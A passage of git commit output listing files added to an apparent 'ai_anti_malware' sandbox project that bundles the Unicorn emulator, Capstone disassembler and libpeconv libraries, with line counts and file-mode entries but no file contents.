.../qemu/include/qemu/compiler.h | 137 + .../unicorn-master/qemu/include/qemu/crc32c.h | 35 + .../qemu/include/qemu/host-utils.h | 382 + .../unicorn-master/qemu/include/qemu/int128.h | 157 + .../unicorn-master/qemu/include/qemu/log.h | 117 + .../unicorn-master/qemu/include/qemu/module.h | 30 + .../unicorn-master/qemu/include/qemu/osdep.h | 128 + .../unicorn-master/qemu/include/qemu/queue.h | 414 + .../unicorn-master/qemu/include/qemu/range.h | 135 + .../qemu/include/qemu/thread-posix.h | 10 + .../qemu/include/qemu/thread-win32.h | 14 + .../unicorn-master/qemu/include/qemu/thread.h | 25 + .../unicorn-master/qemu/include/qemu/timer.h | 371 + .../qemu/include/qemu/typedefs.h | 80 + .../unicorn-master/qemu/include/qom/cpu.h | 629 + .../unicorn-master/qemu/include/qom/object.h | 1270 + .../qemu/include/qom/qom-qobject.h | 42 + .../qemu/include/sysemu/accel.h | 62 + .../unicorn-master/qemu/include/sysemu/cpus.h | 20 + .../qemu/include/sysemu/memory_mapping.h | 83 + .../qemu/include/sysemu/os-win32.h | 96 + .../qemu/include/sysemu/sysemu.h | 27 + .../unicorn/unicorn-master/qemu/ioport.c | 154 + .../unicorn/unicorn-master/qemu/m68k.h | 3020 +++ .../unicorn/unicorn-master/qemu/memory.c | 1616 ++ .../unicorn-master/qemu/memory_mapping.c | 266 + .../unicorn/unicorn-master/qemu/mips.h | 3928 +++ .../unicorn/unicorn-master/qemu/mips64.h | 3928 +++ .../unicorn/unicorn-master/qemu/mips64el.h | 3928 +++ .../unicorn/unicorn-master/qemu/mipsel.h | 3928 +++ .../unicorn/unicorn-master/qemu/qapi-types.c | 293 + .../unicorn/unicorn-master/qemu/qapi-types.h | 228 + .../unicorn/unicorn-master/qemu/qapi-visit.c | 428 + .../unicorn/unicorn-master/qemu/qapi-visit.h | 51 + .../unicorn-master/qemu/qapi/Makefile.objs | 3 + .../qemu/qapi/qapi-dealloc-visitor.c | 224 + .../qemu/qapi/qapi-visit-core.c | 313 + .../qemu/qapi/qmp-input-visitor.c | 349 + .../qemu/qapi/qmp-output-visitor.c | 241 + .../qemu/qapi/string-input-visitor.c | 325 + .../unicorn/unicorn-master/qemu/qemu-log.c | 47 + .../unicorn/unicorn-master/qemu/qemu-timer.c | 103 + .../unicorn-master/qemu/qobject/Makefile.objs | 2 + .../unicorn-master/qemu/qobject/qbool.c | 68 + .../unicorn-master/qemu/qobject/qdict.c | 699 + .../unicorn-master/qemu/qobject/qerror.c | 39 + .../unicorn-master/qemu/qobject/qfloat.c | 68 + .../unicorn-master/qemu/qobject/qint.c | 67 + .../unicorn-master/qemu/qobject/qlist.c | 170 + .../unicorn-master/qemu/qobject/qstring.c | 149 + .../unicorn-master/qemu/qom/Makefile.objs | 2 + .../unicorn-master/qemu/qom/container.c | 50 + .../unicorn/unicorn-master/qemu/qom/cpu.c | 284 + .../unicorn/unicorn-master/qemu/qom/object.c | 1691 ++ .../unicorn-master/qemu/qom/qom-qobject.c | 44 + .../unicorn/unicorn-master/qemu/rules.mak | 361 + .../unicorn-master/qemu/scripts/create_config | 76 + .../qemu/scripts/ordereddict.py | 132 + .../unicorn-master/qemu/scripts/qapi-build.sh | 14 + .../qemu/scripts/qapi-schema.json | 39 + .../unicorn-master/qemu/scripts/qapi-types.py | 464 + .../unicorn-master/qemu/scripts/qapi-visit.py | 597 + .../unicorn-master/qemu/scripts/qapi.py | 605 + .../qemu/scripts/qapi/common.json | 30 + .../unicorn-master/qemu/softmmu_template.h | 1091 + .../unicorn/unicorn-master/qemu/sparc.h | 3092 +++ .../unicorn/unicorn-master/qemu/sparc64.h | 3092 +++ .../qemu/target-arm/Makefile.objs | 6 + .../unicorn-master/qemu/target-arm/arm_ldst.h | 48 + .../unicorn-master/qemu/target-arm/cpu-qom.h | 219 + .../unicorn-master/qemu/target-arm/cpu.c | 1108 + .../unicorn-master/qemu/target-arm/cpu.h | 1548 ++ .../unicorn-master/qemu/target-arm/cpu64.c | 224 + .../qemu/target-arm/crypto_helper.c | 435 + .../qemu/target-arm/helper-a64.c | 528 + .../qemu/target-arm/helper-a64.h | 48 + .../unicorn-master/qemu/target-arm/helper.c | 5791 +++++ .../unicorn-master/qemu/target-arm/helper.h | 544 + .../qemu/target-arm/internals.h | 383 + .../qemu/target-arm/iwmmxt_helper.c | 672 + .../qemu/target-arm/kvm-consts.h | 182 + .../qemu/target-arm/neon_helper.c | 2243 ++ .../qemu/target-arm/op_addsub.h | 103 + .../qemu/target-arm/op_helper.c | 842 + .../unicorn-master/qemu/target-arm/psci.c | 242 + .../qemu/target-arm/translate-a64.c | 11280 +++++++++ .../qemu/target-arm/translate.c | 11633 +++++++++ .../qemu/target-arm/translate.h | 116 + .../unicorn-master/qemu/target-arm/unicorn.h | 29 + .../qemu/target-arm/unicorn_aarch64.c | 248 + .../qemu/target-arm/unicorn_arm.c | 243 + .../qemu/target-i386/Makefile.objs | 5 + .../unicorn-master/qemu/target-i386/TODO | 31 + .../qemu/target-i386/arch_memory_mapping.c | 279 + .../qemu/target-i386/cc_helper.c | 389 + .../qemu/target-i386/cc_helper_template.h | 242 + .../unicorn-master/qemu/target-i386/cpu-qom.h | 157 + .../unicorn-master/qemu/target-i386/cpu.c | 2633 ++ .../unicorn-master/qemu/target-i386/cpu.h | 1386 ++ .../qemu/target-i386/excp_helper.c | 133 + .../qemu/target-i386/fpu_helper.c | 1317 ++ .../unicorn-master/qemu/target-i386/helper.c | 1152 + .../unicorn-master/qemu/target-i386/helper.h | 227 + .../qemu/target-i386/int_helper.c | 471 + .../qemu/target-i386/mem_helper.c | 130 + .../qemu/target-i386/misc_helper.c | 598 + .../unicorn-master/qemu/target-i386/ops_sse.h | 2335 ++ .../qemu/target-i386/ops_sse_header.h | 360 + .../qemu/target-i386/seg_helper.c | 2698 +++ .../qemu/target-i386/shift_helper_template.h | 108 + .../qemu/target-i386/smm_helper.c | 317 + .../unicorn-master/qemu/target-i386/svm.h | 222 + .../qemu/target-i386/svm_helper.c | 760 + .../qemu/target-i386/topology.h | 134 + .../qemu/target-i386/translate.c | 8812 +++++++ .../unicorn-master/qemu/target-i386/unicorn.c | 1528 ++ .../unicorn-master/qemu/target-i386/unicorn.h | 17 + .../qemu/target-m68k/Makefile.objs | 2 + .../unicorn-master/qemu/target-m68k/cpu-qom.h | 83 + .../unicorn-master/qemu/target-m68k/cpu.c | 242 + .../unicorn-master/qemu/target-m68k/cpu.h | 259 + .../unicorn-master/qemu/target-m68k/helper.c | 799 + .../unicorn-master/qemu/target-m68k/helper.h | 52 + .../qemu/target-m68k/m68k-qreg.h | 11 + .../qemu/target-m68k/op_helper.c | 225 + .../unicorn-master/qemu/target-m68k/qregs.def | 11 + .../qemu/target-m68k/translate.c | 3220 +++ .../unicorn-master/qemu/target-m68k/unicorn.c | 122 + .../unicorn-master/qemu/target-m68k/unicorn.h | 16 + .../qemu/target-mips/Makefile.objs | 3 + .../unicorn-master/qemu/target-mips/TODO | 51 + .../unicorn-master/qemu/target-mips/cpu-qom.h | 84 + .../unicorn-master/qemu/target-mips/cpu.c | 170 + .../unicorn-master/qemu/target-mips/cpu.h | 901 + .../qemu/target-mips/dsp_helper.c | 3761 +++ .../unicorn-master/qemu/target-mips/helper.c | 826 + .../unicorn-master/qemu/target-mips/helper.h | 936 + .../qemu/target-mips/lmi_helper.c | 744 + .../qemu/target-mips/mips-defs.h | 91 + .../qemu/target-mips/msa_helper.c | 3436 +++ .../qemu/target-mips/op_helper.c | 3713 +++ .../qemu/target-mips/translate.c | 19748 ++++++++++++++++ .../qemu/target-mips/translate_init.c | 948 + .../unicorn-master/qemu/target-mips/unicorn.c | 169 + .../unicorn-master/qemu/target-mips/unicorn.h | 23 + .../qemu/target-sparc/Makefile.objs | 7 + .../unicorn-master/qemu/target-sparc/TODO | 88 + .../qemu/target-sparc/cc_helper.c | 492 + .../qemu/target-sparc/cpu-qom.h | 87 + .../unicorn-master/qemu/target-sparc/cpu.c | 923 + .../unicorn-master/qemu/target-sparc/cpu.h | 759 + .../qemu/target-sparc/fop_helper.c | 467 + .../unicorn-master/qemu/target-sparc/helper.c | 255 + .../unicorn-master/qemu/target-sparc/helper.h | 177 + .../qemu/target-sparc/int32_helper.c | 95 + .../qemu/target-sparc/int64_helper.c | 128 + .../qemu/target-sparc/ldst_helper.c | 2460 ++ .../qemu/target-sparc/mmu_helper.c | 867 + .../qemu/target-sparc/translate.c | 5719 +++++ .../qemu/target-sparc/unicorn.c | 151 + .../qemu/target-sparc/unicorn.h | 19 + .../qemu/target-sparc/unicorn64.c | 115 + .../qemu/target-sparc/vis_helper.c | 489 + .../qemu/target-sparc/win_helper.c | 392 + .../unicorn/unicorn-master/qemu/tcg-runtime.c | 109 + .../unicorn/unicorn-master/qemu/tcg/LICENSE | 3 + .../unicorn/unicorn-master/qemu/tcg/README | 551 + .../unicorn/unicorn-master/qemu/tcg/TODO | 14 + .../qemu/tcg/aarch64/tcg-target.c | 1814 ++ .../qemu/tcg/aarch64/tcg-target.h | 107 + .../unicorn-master/qemu/tcg/i386/tcg-target.c | 2471 ++ .../unicorn-master/qemu/tcg/i386/tcg-target.h | 148 + .../unicorn-master/qemu/tcg/ia64/tcg-target.c | 2446 ++ .../unicorn-master/qemu/tcg/ia64/tcg-target.h | 183 + .../unicorn-master/qemu/tcg/mips/tcg-target.c | 1816 ++ .../unicorn-master/qemu/tcg/mips/tcg-target.h | 137 + .../unicorn-master/qemu/tcg/optimize.c | 1405 ++ .../unicorn-master/qemu/tcg/ppc/tcg-target.c | 2672 +++ .../unicorn-master/qemu/tcg/ppc/tcg-target.h | 111 + .../unicorn-master/qemu/tcg/s390/tcg-target.c | 2346 ++ .../unicorn-master/qemu/tcg/s390/tcg-target.h | 122 + .../qemu/tcg/sparc/tcg-target.c | 1613 ++ .../qemu/tcg/sparc/tcg-target.h | 167 + .../unicorn-master/qemu/tcg/tcg-be-ldst.h | 91 + .../unicorn-master/qemu/tcg/tcg-be-null.h | 45 + .../unicorn/unicorn-master/qemu/tcg/tcg-op.h | 2784 +++ .../unicorn/unicorn-master/qemu/tcg/tcg-opc.h | 209 + .../unicorn-master/qemu/tcg/tcg-runtime.h | 16 + .../unicorn/unicorn-master/qemu/tcg/tcg.c | 2764 +++ .../unicorn/unicorn-master/qemu/tcg/tcg.h | 1012 + .../unicorn-master/qemu/translate-all.c | 2013 ++ .../unicorn-master/qemu/translate-all.h | 28 + .../unicorn-master/qemu/unicorn_common.h | 91 + .../unicorn-master/qemu/util/Makefile.objs | 10 + .../unicorn/unicorn-master/qemu/util/aes.c | 1059 + .../unicorn/unicorn-master/qemu/util/bitmap.c | 55 + .../unicorn/unicorn-master/qemu/util/bitops.c | 129 + .../unicorn/unicorn-master/qemu/util/crc32c.c | 115 + .../unicorn/unicorn-master/qemu/util/cutils.c | 157 + .../unicorn/unicorn-master/qemu/util/error.c | 129 + .../unicorn-master/qemu/util/getauxval.c | 109 + .../unicorn-master/qemu/util/host-utils.c | 167 + .../unicorn/unicorn-master/qemu/util/module.c | 57 + .../unicorn-master/qemu/util/oslib-posix.c | 141 + .../unicorn-master/qemu/util/oslib-win32.c | 103 + .../unicorn-master/qemu/util/qemu-error.c | 80 + .../qemu/util/qemu-thread-posix.c | 86 + .../qemu/util/qemu-thread-win32.c | 159 + .../qemu/util/qemu-timer-common.c | 43 + .../qemu/util/setjmp-wrapper-win32.asm | 26 + .../unicorn/unicorn-master/qemu/vl.c | 156 + .../unicorn/unicorn-master/qemu/vl.h | 7 + .../unicorn/unicorn-master/qemu/x86_64.h | 3020 +++ .../unicorn/unicorn-master/samples/.gitignore | 5 + .../unicorn/unicorn-master/samples/Makefile | 155 + .../unicorn-master/tests/fuzz/Makefile | 23 + .../unicorn-master/tests/fuzz/dlcorpus.sh | 11 + .../tests/fuzz/fuzz_emu.options | 2 + .../tests/fuzz/fuzz_emu_arm64_arm.c | 56 + .../tests/fuzz/fuzz_emu_arm64_armbe.c | 56 + .../tests/fuzz/fuzz_emu_arm_arm.c | 56 + .../tests/fuzz/fuzz_emu_arm_armbe.c | 56 + .../tests/fuzz/fuzz_emu_arm_thumb.c | 56 + .../tests/fuzz/fuzz_emu_m68k_be.c | 56 + .../tests/fuzz/fuzz_emu_mips_32be.c | 56 + .../tests/fuzz/fuzz_emu_mips_32le.c | 56 + .../tests/fuzz/fuzz_emu_sparc_32be.c | 56 + .../tests/fuzz/fuzz_emu_x86_16.c | 56 + .../tests/fuzz/fuzz_emu_x86_32.c | 56 + .../tests/fuzz/fuzz_emu_x86_64.c | 56 + .../unicorn-master/tests/fuzz/gentargets.sh | 21 + .../unicorn-master/tests/fuzz/onedir.c | 80 + .../unicorn-master/tests/fuzz/onefile.c | 49 + .../unicorn-master/tests/regress/.gitignore | 40 + .../regress/001-bad_condition_code_0xe.c | 31 + ...ented_control_register_write_0xffb___0x0.c | 31 + .../003-qemu__fatal__wdebug_not_implemented.c | 31 + .../tests/regress/004-segmentation_fault_1.c | 31 + ...al__illegal_instruction__0000___00000404.c | 31 + ...al__illegal_instruction__0421___00040026.c | 31 + .../tests/regress/00opcode_uc_crash.c | 69 + .../unicorn-master/tests/regress/LICENSE | 30 + .../unicorn-master/tests/regress/Makefile | 23 + .../tests/regress/arm64_reg_rw_w0_w30.py | 30 + .../tests/regress/arm_apsr_access.py | 30 + .../tests/regress/arm_bx_unmapped.py | 93 + .../tests/regress/arm_bxeq_hang.py | 28 + .../tests/regress/arm_enable_vfp.c | 65 + .../tests/regress/arm_fp_vfp_disabled.py | 44 + .../tests/regress/arm_init_input_crash.py | 109 + .../tests/regress/arm_movr12_hang.py | 32 + .../tests/regress/arm_vldr_invalid.py | 18 + .../unicorn-master/tests/regress/bad_ram.py | 30 + .../unicorn-master/tests/regress/block_test.c | 82 + .../tests/regress/callback-pc.py | 90 + .../unicorn-master/tests/regress/crash_tb.py | 37 + .../tests/regress/deadlock_1.py | 20 + .../tests/regress/eflags_noset.c | 126 + .../tests/regress/eflags_nosync.c | 182 + .../tests/regress/emu_clear_errors.c | 151 + .../tests/regress/emu_clear_errors.py | 80 + .../tests/regress/emu_stop_in_hook_overrun.c | 130 + .../tests/regress/emu_stop_segfault.py | 20 + .../ensure_typedef_consts_generated.py | 15 + .../unicorn-master/tests/regress/fpu_ip.py | 69 + .../tests/regress/fpu_mem_write.py | 38 + .../unicorn-master/tests/regress/hang.py | 57 + .../tests/regress/hook_add_crash.py | 16 + .../tests/regress/hook_code_add_del.py | 48 + .../tests/regress/hook_code_stop_emu.py | 91 + .../tests/regress/hook_extrainvoke.c | 93 + .../regress/hook_readonly_write_local.py | 30 + .../unicorn-master/tests/regress/init.py | 68 + .../regress/invalid_read_in_cpu_tb_exec.c | 33 + .../regress/invalid_read_in_tb_flush_x86_64.c | 27 + .../tests/regress/invalid_write.py | 47 + .../invalid_write_in_cpu_tb_exec_x86_64.c | 26 + .../tests/regress/jmp_ebx_hang.py | 39 + .../unicorn-master/tests/regress/jumping.py | 167 + .../tests/regress/leaked_refs.py | 63 + .../unicorn-master/tests/regress/map_crash.c | 32 + .../unicorn-master/tests/regress/map_write.c | 54 + .../unicorn-master/tests/regress/memmap.py | 40 + .../tests/regress/memmap_segfault.py | 35 + .../tests/regress/mips_branch_delay.py | 36 + .../tests/regress/mips_branch_likely_issue.c | 195 + .../tests/regress/mips_delay_slot_code_hook.c | 138 + .../tests/regress/mips_except.py | 41 + ...mips_invalid_read_of_size_4_when_tracing.c | 33 + .../tests/regress/mips_kernel_mmu.py | 24 + .../tests/regress/mips_kseg0_1.c | 75 + .../tests/regress/mips_single_step_sp.py | 51 + .../tests/regress/mips_syscall_pc.py | 27 + .../tests/regress/mov_gs_eax.py | 24 + .../unicorn-master/tests/regress/movsd.py | 35 + .../tests/regress/nr_mem_test.c | 108 + .../regress/osx_qemu_thread_create_crash.py | 20 + .../tests/regress/potential_memory_leak.py | 29 + .../unicorn-master/tests/regress/pshufb.py | 21 + .../tests/regress/reg_write_sign_extension.py | 31 + .../unicorn-master/tests/regress/regress.py | 34 + .../unicorn-master/tests/regress/regress.sh | 22 + .../unicorn-master/tests/regress/rep_hook.py | 30 + .../unicorn-master/tests/regress/rep_movsb.c | 182 + .../tests/regress/ro_mem_test.c | 209 + .../tests/regress/run_across_bb.py | 195 + .../tests/regress/rw_hookstack.c | 106 + .../tests/regress/segfault_on_stop.py | 13 + .../unicorn-master/tests/regress/sigill.c | 47 + .../unicorn-master/tests/regress/sigill2.c | 28 + .../unicorn-master/tests/regress/sparc64.py | 24 + .../tests/regress/sparc_jump_to_zero.c | 27 + .../unicorn-master/tests/regress/sparc_reg.py | 205 + .../tests/regress/sysenter_hook_x86.c | 60 + .../tcg_liveness_analysis_bug_issue-287.py | 134 + .../tests/regress/threaded_emu_start.c | 241 + .../tests/regress/timeout_segfault.c | 147 + .../tests/regress/translator_buffer.py | 78 + .../unicorn-master/tests/regress/vld.py | 113 + .../tests/regress/write_before_map.py | 25 + .../unicorn-master/tests/regress/wrong_rip.py | 71 + .../tests/regress/wrong_rip_arm.py | 38 + .../tests/regress/wrong_sp_arm.py | 28 + .../tests/regress/x86_16_segfault.c | 22 + .../tests/regress/x86_64_conditional_jump.py | 39 + .../tests/regress/x86_64_eflags.py | 38 + .../tests/regress/x86_64_msr.py | 155 + .../tests/regress/x86_eflags.py | 38 + .../tests/regress/x86_fldt_fsqrt.py | 31 + .../unicorn-master/tests/regress/x86_gdt.py | 94 + .../tests/regress/x86_self_modifying.elf | Bin 0 -> 720 bytes .../tests/regress/x86_self_modifying.py | 40 + .../tests/regress/x86_self_modifying.s | 65 + .../unicorn-master/tests/regress/x86_vex.c | 58 + .../unicorn-master/tests/unit/.gitignore | 3 + .../unicorn-master/tests/unit/Makefile | 65 + .../unicorn-master/tests/unit/gdt_idx.s | 3 + .../unicorn-master/tests/unit/high_address.s | 6 + .../unicorn-master/tests/unit/pc_change.s | 9 + .../unicorn-master/tests/unit/tb_x86.s | 90 + .../unicorn-master/tests/unit/unicorn_test.h | 57 + .../tests/unit/x86_soft_paging_low.s | 49 + ai_anti_malware/unicorn/unicorn-master/uc.c | 1404 ++ .../unicorn/unicorn-master/windows_export.bat | 43 + ai_anti_malware/unicorn/unicorn.dll | Bin 0 -> 3667456 bytes ai_anti_malware/unicorn/unicorn.lib | Bin 0 -> 19440218 bytes 887 files changed, 331879 insertions(+) create mode 100644 .vscode/settings.json create mode 100644 ai_anti_malware.sln create mode 100644 ai_anti_malware/ai_anti_malware.cpp create mode 100644 ai_anti_malware/ai_anti_malware.vcxproj create mode 100644 ai_anti_malware/ai_anti_malware.vcxproj.filters create mode 100644 ai_anti_malware/capstone/capstone.lib create mode 100644 ai_anti_malware/capstone/include/capstone/arm.h create mode 100644 ai_anti_malware/capstone/include/capstone/arm64.h create mode 100644 ai_anti_malware/capstone/include/capstone/capstone.h create mode 100644 ai_anti_malware/capstone/include/capstone/evm.h create mode 100644 ai_anti_malware/capstone/include/capstone/m680x.h create mode 100644 ai_anti_malware/capstone/include/capstone/m68k.h create mode 100644 ai_anti_malware/capstone/include/capstone/mips.h create mode 100644 ai_anti_malware/capstone/include/capstone/platform.h create mode 100644 ai_anti_malware/capstone/include/capstone/ppc.h create mode 100644 ai_anti_malware/capstone/include/capstone/sparc.h create mode 100644 ai_anti_malware/capstone/include/capstone/systemz.h create mode 100644 ai_anti_malware/capstone/include/capstone/tms320c64x.h create mode 100644 ai_anti_malware/capstone/include/capstone/x86.h create mode 100644 ai_anti_malware/capstone/include/capstone/xcore.h create mode 100644 ai_anti_malware/capstone/include/platform.h create mode 100644 ai_anti_malware/capstone/include/windowsce/intrin.h create mode 100644 ai_anti_malware/capstone/include/windowsce/stdint.h create mode 100644 ai_anti_malware/head.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/CMakeLists.txt create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/buffer_util.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/caves.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/delayed_imports_loader.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/exported_func.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/exports_lookup.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/exports_mapper.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/file_util.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/find_base.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/fix_imports.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/function_resolver.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/hooks.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/imports_loader.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/imports_uneraser.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/load_config_defs.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/load_config_util.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/pe_dumper.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/pe_hdrs_helper.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/pe_loader.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/pe_mode_detector.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/pe_raw_to_virtual.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/pe_virtual_to_raw.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/peb_lookup.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/relocate.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/remote_pe_reader.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/resource_parser.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/resource_util.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/include/peconv/util.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/buffer_util.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/caves.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/delayed_imports_loader.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/exported_func.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/exports_lookup.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/exports_mapper.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/file_util.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/find_base.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/fix_dot_net_ep.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/fix_dot_net_ep.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/fix_imports.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/function_resolver.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/hooks.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/imports_loader.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/imports_uneraser.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/load_config_util.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/ntddk.h create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/pe_dumper.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/pe_hdrs_helper.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/pe_loader.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/pe_mode_detector.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/pe_raw_to_virtual.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/pe_virtual_to_raw.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/peb_lookup.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/relocate.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/remote_pe_reader.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/resource_parser.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/resource_util.cpp create mode 100644 ai_anti_malware/libpeconv/libpeconv/src/util.cpp create mode 100644 ai_anti_malware/native_struct.h create mode 100644 ai_anti_malware/sandbox.cpp create mode 100644 ai_anti_malware/sandbox.h create mode 100644 ai_anti_malware/sandbox_callbacks.cpp create mode 100644 ai_anti_malware/sandbox_callbacks.h create mode 100644 ai_anti_malware/unicorn/include/unicorn/arm.h create mode 100644 ai_anti_malware/unicorn/include/unicorn/arm64.h create mode 100644 ai_anti_malware/unicorn/include/unicorn/m68k.h create mode 100644 ai_anti_malware/unicorn/include/unicorn/mips.h create mode 100644 ai_anti_malware/unicorn/include/unicorn/platform.h create mode 100644 ai_anti_malware/unicorn/include/unicorn/sparc.h create mode 100644 ai_anti_malware/unicorn/include/unicorn/unicorn.h create mode 100644 ai_anti_malware/unicorn/include/unicorn/x86.h create mode 100644 ai_anti_malware/unicorn/unicorn-master/.github/workflows/cifuzz.yml create mode 100644 ai_anti_malware/unicorn/unicorn-master/.github/workflows/python-publish.yml create mode 100644 ai_anti_malware/unicorn/unicorn-master/.gitignore create mode 100644 ai_anti_malware/unicorn/unicorn-master/.travis.yml create mode 100644 ai_anti_malware/unicorn/unicorn-master/AUTHORS.TXT create mode 100644 ai_anti_malware/unicorn/unicorn-master/Brewfile create mode 100644 ai_anti_malware/unicorn/unicorn-master/CMakeLists.txt create mode 100644 ai_anti_malware/unicorn/unicorn-master/COPYING create mode 100644 ai_anti_malware/unicorn/unicorn-master/COPYING.LGPL2 create mode 100644 ai_anti_malware/unicorn/unicorn-master/COPYING_GLIB create mode 100644 ai_anti_malware/unicorn/unicorn-master/CREDITS.TXT create mode 100644 ai_anti_malware/unicorn/unicorn-master/ChangeLog create mode 100644 ai_anti_malware/unicorn/unicorn-master/Makefile create mode 100644 ai_anti_malware/unicorn/unicorn-master/README.md create mode 100644 ai_anti_malware/unicorn/unicorn-master/SPONSORS.TXT create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/Makefile create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/README create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/const_generator.py create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/README.md create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornDotNet.sln create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/AssemblyInfo.fs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Binding/BindingFactory.fs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Binding/IBinding.fs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Binding/MockBinding.fs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Binding/NativeBinding.fs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/Arm.fs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/Arm64.fs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/Common.fs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/M68k.fs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/Mips.fs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/Sparc.fs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Const/X86.fs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/ConvertUtility.fs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/InternalHooks.fs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/Unicorn.fs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/UnicornEngineException.fs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornManaged/UnicornManaged.fsproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/App.config create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/Program.cs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/Properties/AssemblyInfo.cs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/ShellcodeSample.cs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/UnicornSamples.csproj create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/Utils.cs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/X86Sample32.cs create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/dotnet/UnicornSamples/packages.config create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/go/Makefile create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/go/README.md create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/go/sample.go create mode 100644 ai_anti_malware/unicorn/unicorn-master/bindings/go/unicorn/arm64_const.go create mode 100644 